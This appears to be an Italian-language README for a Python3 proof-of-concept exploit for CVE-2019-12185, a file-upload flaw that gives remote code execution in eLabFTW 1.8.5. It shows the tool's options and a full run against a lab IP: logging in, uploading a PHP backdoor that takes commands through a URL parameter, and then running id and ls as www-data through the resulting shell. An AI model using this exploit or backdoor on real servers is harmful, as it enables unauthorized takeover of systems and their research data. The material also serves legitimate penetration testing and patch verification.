
CVE-2019-12185 - eLabFTW 1.8.5 Python3 Exploit POC
eLabFTW 1.8.5 è vulnerabile a caricamenti arbitrari di file tramite il componente /app/controllers/EntityController.php. Ciò può risultare in esecuzione remota di comandi. Un attaccante può utilizzare un account utente per compromettere completamente il sistema usando una richiesta POST. Questo permetterà la scrittura di file PHP nella root web e l'esecuzione di codice sul server remoto. --> https://nvd.nist.gov/vuln/detail/CVE-2019-12185
$ python3 CVE-2019-12185.py --help
usage: CVE-2019-12185.py [-h] [--shell SHELL] [-e EMAIL] [-P PASSWORD] [-u URL] [--port PORT] [--no-verify] [--silence-warnings]
eLabFTW 1.8.5 caricamento arbitrario di file / RCE (Python3). Usa --shell per avviare una shell non interattiva, o fornisci argomenti di login per caricarne una nuova.
options:
-h, --help mostra questo messaggio di aiuto ed esci
--shell SHELL URL completo della backdoor .php5 esistente in /uploads (es., https://host/uploads/..../abc.php5)
-e, --email EMAIL Email di login
-P, --password PASSWORD
Password di login
-u, --url URL URL di base (es., https://192.168.1.10)
--port PORT Override della porta (default 443 per https, 80 per http)
--no-verify Disabilita la verifica del certificato TLS
--silence-warnings Silenzia l'avviso urllib3 InsecureRequestWarning (efficace solo con --no-verify)
$ python3 CVE-2019-12185.py -e [email protected] -P password -u https://192.168.116.235 --no-verify --silence-warnings
[INFO] Disabled warnings about insecure https certifications.
[INFO] Loaded URL: 'https://192.168.116.235'
[INFO] Attempting to grab a form token from elabftw...
[INFO] Attempting to login with the provided credentials and form token...
[INFO] Succesfully sent payload to target!
[INFO] Check for a shell: https://192.168.116.235/uploads/
[INFO] Example RCE: https://192.168.116.235/uploads/82/82b757007585fa963c82b09.php5?e=whoami
La backdoor può essere trovata nella directory uploads di elabftw.

$ python3 CVE-2019-12185.py --shell "https://192.168.116.235/uploads/4c/4cc58d211b453aa9b21b00b77284295de18300693f5755ea1f41b331a2d04384b9524bc87179601e55fdf5279dc945681ea1948ed6ac30c6ef4899db8c3a051a.php5" --no-verify --silence-warnings
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ls -las
total 12
4 drwxr-xr-x 2 www-data www-data 4096 Aug 16 23:14 .
4 drwxr-xr-x 4 www-data www-data 4096 Aug 16 23:14 ..
4 -rw------- 1 www-data www-data 45 Aug 16 23:14 4cc58d211b453aa9b21b00b77284295de18300693f5755ea1f41b331a2d04384b9524bc87179601e55fdf5279dc945681ea1948ed6ac30c6ef4899db8c3a051a.php5
$